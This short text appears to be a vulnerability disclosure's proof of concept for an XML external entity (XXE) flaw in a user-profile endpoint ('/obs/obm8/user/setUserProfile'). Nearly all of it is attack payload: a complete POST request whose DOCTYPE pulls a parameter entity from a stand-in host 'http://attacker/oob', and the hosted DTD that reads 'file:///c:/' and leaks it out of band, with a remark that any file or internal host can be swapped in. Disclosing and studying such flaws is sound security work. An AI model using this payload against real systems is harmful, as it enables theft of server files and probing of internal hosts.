Sending the following POST request will trigger the XXE:

POST /obs/obm8/user/setUserProfile HTTP/1.1
Content-Type: application/octet-stream
Content-Length: 126
Host: 172.16.238.213:80
        
<?xml version="1.0"?>
 <!DOCTYPE root [<!ENTITY % remote SYSTEM "http://attacker/oob"> %remote;%intern; %trick;]>

On http://attacker/oob add the following content:

<!ENTITY % payl SYSTEM "file:///c:/"><!ENTITY % intern "<!ENTITY &#37;
        trick SYSTEM 'file://:%payl;/%payl;'>">

Here it is possible to change file:///c:/ to any directory/file or internal host.
